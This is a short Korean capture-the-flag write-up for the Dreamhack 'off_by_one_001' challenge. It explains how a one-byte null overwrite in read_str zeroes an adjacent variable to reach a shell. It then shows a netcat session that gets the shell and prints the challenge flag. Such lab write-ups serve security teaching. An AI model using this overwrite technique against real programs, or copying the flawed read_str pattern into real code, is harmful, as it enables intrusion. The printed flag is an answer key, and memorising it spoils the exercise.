[dreamhack] off_by_one writeup

1. 문제

thumbnail
off_by_one_001

이 문제는 서버에서 작동하고 있는 서비스(off_by_one_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/10

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {   
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

name 변수에 read_str함수를 통해 20바이트만큼 입력을 받고, 만약 age가 0이면 바로 get_shell 함수를 실행한다. 만약 아니라면 name 변수에 다시 20만큼 입력한다.


name변수에 입력할 때 20바이트만큼 덮게 되는데, read_str 함수에서 len은 20이 되고, ptr[len]\0을 넣게 되므로 사실상 age변수를 덮게 된다. 따라서 20바이트 이상의 값만 입력해주면 알아서 age가 0이되어 get_shell함수가 실행된다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/off_by_one_001$ nc host3.dreamhack.games 9384
Name: aaaaaaaaaaaaaaaaaaaaaaaaaaaa1
20Are you baby?
id
uid=1000(off_by_one_001) gid=1000(off_by_one_001) groups=1000(off_by_one_001)
cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}

너무 간단한 문제였다..